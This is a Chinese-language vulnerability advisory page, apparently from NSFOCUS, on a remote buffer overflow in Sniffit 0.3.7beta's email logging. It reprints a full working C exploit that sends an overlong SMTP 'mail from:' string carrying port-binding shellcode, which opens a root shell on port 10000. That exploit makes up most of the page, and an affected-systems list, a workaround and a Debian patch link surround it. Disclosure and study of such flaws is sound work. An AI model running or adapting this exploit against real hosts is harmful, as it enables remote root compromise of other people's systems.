首页 -> 安全研究

安全研究

安全漏洞
Sniffit邮件记录功能远程缓冲区溢出漏洞

发布日期:2002-01-18
更新日期:2002-01-24

受影响系统:

Sniffit Sniffit 0.3.7beta
    - Debian Linux 2.3
    - Debian Linux 2.2
    - Debian Linux 2.1
    - Debian Linux 2.0
    - Mandrake Linux 8.1
    - Mandrake Linux 8.0
    - RedHat Linux 7.2 x86
    - RedHat Linux 7.1 x86
    - RedHat Linux 7.1
    - RedHat Linux 7.0 x86
    - RedHat Linux 7.0
    - Slackware Linux 8.0
    - Slackware Linux 7.1
    - Slackware Linux 7.0
    - Solaris 8.0 x86
    - Solaris 7.0
    - Solaris 7.0 x86
    - Solaris 2.6 x86
    - Solaris 2.6
不受影响系统:

描述:

BUGTRAQ  ID: 3923

Sniffit是一个免费的,开放源码的网络监控工具,运行于Linux及Unix类平台下。

Sniffit存在一个远程缓冲区溢出漏洞,在某些配置情况下,远程攻击者可能通过溢出攻击在主机上以root身份执行任意指令。

如果Sniffit被配置成记录email,攻击者可能利用记录机制的漏洞在运行了Sniffit的主机上以root权限执行任意指令。Sniffit的记录部分代码存在多个可疑的sprintf()调用,因此还可能存在其他的缓冲区溢出问题。

<*来源:g_463 (g_463@hotmail.com
  
  链接:http://archives.neohapsis.com/archives/bugtraq/2002-01/0258.html
        http://archives.neohapsis.com/archives/bugtraq/2002-01/0260.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

g_463(g_463@hotmail.com) 提供了如下测试程序:

/*

   Remote overflow in sniffit.0.3.7.beta
   tested on slackware 7.1
   found/coded by g463
   -18th january 2002-

   The vulnerability is triggered when the option -L is
called from the
   command line with 'normmail'
   ie : ./sniffit -c ./sample_config_file -L normmail
   It calls a piece of code where the buffer is
unchecked

       //From sniffit.0.3.7.beta/sn_logfile.c
       void print_mail (char *conn, char *msg)
       {
       char line[250];
       sprintf(line,"%s: mail [%s]",conn,msg);
       print_logline (line);
       }

       - In a normal situation, it could be easier to fill line
[250] with our
       shellcode, but since this buffer gets filter with
some kind of
       strlower() function (thus our shellcode/return
adress too), i rely
       on an unfiltered buffer with the same data so we
can point eip back
       at that place with clean, unmodified shellcode :D
        

All my brothers (alphabetical order) : Erebus, Jinx,
mtadbf, nitr0gen, Slink[e]
+ some others i forget :p

*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <error.h>
#include <string.h>

#define SMTP_PORT 25
#define MAX_LINE 256
#define BUFLEN 252

//define this to your ip
#define MY_IP "192.168.0.1"

//Value for overwriting eip
//should be the adress of the data buffer + some
couple of garbage bytes
#define RETADR 0x08059408

//Port binding shellcode, binds on port 10000
//taken from bighawk@warfare.com
char shellcode[] =
   "\x31\xc0" // xor eax,
eax
   "\x31\xdb" // xor ebx,
ebx
   "\x89\xe5" // mov ebp,
esp
   "\x99" // cdq
   "\xb0\x66" // mov al,
102
   "\x89\x5d\xfc" // mov [ebp-4], ebx
   "\x43" // inc ebx
   "\x89\x5d\xf8" // mov [ebp-8], ebx
   "\x43" // inc ebx
   "\x89\x5d\xf4" // mov [ebp-12], ebx
   "\x4b" // dec ebx
   "\x8d\x4d\xf4" // lea ecx, [ebp-12]
   "\xcd\x80" // int 80h
   "\x89\x45\xf4" // mov [ebp-12], eax
   "\x43" // inc ebx
   "\x66\x89\x5d\xec" // mov [ebp-
20], bx
   "\x66\xc7\x45\xee\x27\x10" // mov [ebp-18], word
4135
   "\x89\x55\xf0" // mov [ebp-16], edx
   "\x8d\x45\xec" // lea eax, [ebp-20]
   "\x89\x45\xf8" // mov [ebp-8], eax
   "\xc6\x45\xfc\x10" // mov [ebp-4], byte
16
   "\xb2\x66" // mov dl,
102
   "\x89\xd0" // mov eax,
ed
   "\x8d\x4d\xf4" // lea ecx, [ebp-12]
   "\xcd\x80" // int 80h
   "\x89\xd0" // mov eax,
edx
   "\xb3\x04" // mov bl, 4
   "\xcd\x80" // int 80h
   "\x43" // inc ebx
   "\x89\xd0" // mov eax,
edx
   "\x99" // cdq
   "\x89\x55\xf8" // mov [ebp-8], edx
   "\x89\x55\xfc" // mov [ebp-4], edx
   "\xcd\x80" // int 80h
   "\x31\xc9" // xor ecx,
ecx
   "\x89\xc3" // mov ebx,
eax
   "\xb1\x03" // mov cl, 3
   "\xb0\x3f" // mov al,
63
   "\x49" // dec ecx
   "\xcd\x80" // int 80h
   "\x41" // inc ecx
   "\xe2\xf8" // loop -7
   "\x52" // push edx
   "\x68\x6e\x2f\x73\x68" // push dword
68732f6eh
   "\x68\x2f\x2f\x62\x69" // push dword
69622f2fh
   "\x89\xe3" // mov ebx,
esp
   "\x52" // push edx
   "\x53" // push ebx
   "\x89\xe1" // mov ecx,
esp
   "\xb0\x0b" // mov al,
11
   "\xcd\x80"; // int 80h


int usage (char *);
int calculate_conn_lenght (struct sockaddr_in, struct
sockaddr_in);

int
main (int argc, char *argv[])
{

   struct sockaddr_in stServer, stClient;
   char *ptHost;
   unsigned long int iHost;
   int iSockfd, iLenght, iAlign = 0;
   char sBuffer[MAX_LINE];
   char sString[300];
   int i;

   if (argc != 2) usage (argv[0]);

   ptHost = argv[1];
   if ( (iHost = inet_addr (argv[1])) == INADDR_NONE)
{

      printf ("Invalid host or host is 255.255.255.255\n");
      exit (-1);

   }

   //Fill the server struct
   memset (&stServer, 0, sizeof (struct sockaddr_in));
   stServer.sin_family = AF_INET;
   stServer.sin_port = htons (SMTP_PORT);
   stServer.sin_addr.s_addr = iHost;

   if ( (iSockfd = socket (AF_INET, SOCK_STREAM,
0)) == -1) {

      printf ("Error opening socket\n");
      exit (-1);

   }

   // Fill the client struct, mainly used to calculate the
right align for RET addy
   memset (&stClient, 0, sizeof (struct sockaddr_in));
   stClient.sin_family = AF_INET;
   stClient.sin_port = htons (0);
   stClient.sin_addr.s_addr = inet_addr (MY_IP);

   if ( (bind (iSockfd, (struct sockaddr *) &stClient,
sizeof (stClient))) == -1 ) {
   
      perror ("Cant bind socket");
      exit (-1);

   }

   iAlign = calculate_conn_lenght (stClient, stServer);
   i = BUFLEN - iAlign + 4;

   if ( (connect (iSockfd, (struct sockaddr *)
&stServer, sizeof (stServer))) != 0) {

      perror ("Cant connect");
      exit (-1);

   }
   else printf ("Connected to host %s on port %d\n\n",
ptHost, SMTP_PORT);

   // Recevons la banni?re du serveur smtp
   if ( (iLenght = recv (iSockfd, sBuffer, MAX_LINE, 0))
== -1) {
       
      perror ("Cant get server banner");
      exit (-1);

   }
   printf ("%s\n", sBuffer);

   printf ("Building evil string... >:)\n");

   memset (sString, 0x90, sizeof (sString));

   memcpy (sString, "mail from:", strlen ("mail from:"));
   memcpy(sString + i - strlen (shellcode), shellcode,
strlen (shellcode));

   sString[i++] = (RETADR & 0x000000ff);
   sString[i++] = (RETADR & 0x0000ff00) >> 8;
   sString[i++] = (RETADR & 0x00ff0000) >> 16;
   sString[i++] = (RETADR & 0xff000000) >> 24;
   sString[i] = '\0';

   if ( (send (iSockfd, sString, strlen (sString), 0)) == -
1) {

      perror ("cant send message");
      exit (-1);

   }

   printf ("Evil string sent!\n");
   printf ("Try telneting the host on port 10000 for r00t
shell!\n");
    
   close (iSockfd);

   return (0);
    
}

int usage (char *progname)
{

   printf ("%s <ip>\n", progname);
   exit (-1);

}

/*
   function to calculate conn entry lenght
   ie : strlen of ("192.168.0.1.1024-192.168.0.69.25");
   (fuckin dirty but heh it works)
*/
int calculate_conn_lenght (struct sockaddr_in me,
struct sockaddr_in him)
{
   int lenght = 0;
   struct in_addr in;

   in.s_addr = me.sin_addr.s_addr;
   lenght += strlen (inet_ntoa (in)); // 192.168.0.1
      
   lenght++; // .

   lenght += 4; // 1220

   lenght ++; // .

   in.s_addr = him.sin_addr.s_addr;
   lenght += strlen (inet_ntoa (in)); // 192.168.0.69

   lenght++; // .

   lenght += 2; // 25

   lenght += strlen (": mail [");

   return (lenght);
}



建议:

临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 不要使用sniffit记录email。

厂商补丁:

Debian
------
Debian已经在sniffit 0.3.7.beta-6.1中修复了这个漏洞。
您可以从下列地址下载补丁文件:

http://ftp.debian.org/debian/dists/stable/main/source/net/sniffit_0.3.7.beta-6.1.diff.gz

老版本文件可以从下列地址下载:
http://ftp.debian.org/debian/dists/stable/main/source/net/sniffit_0.3.7.beta.orig.tar.gz



浏览次数:5641
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障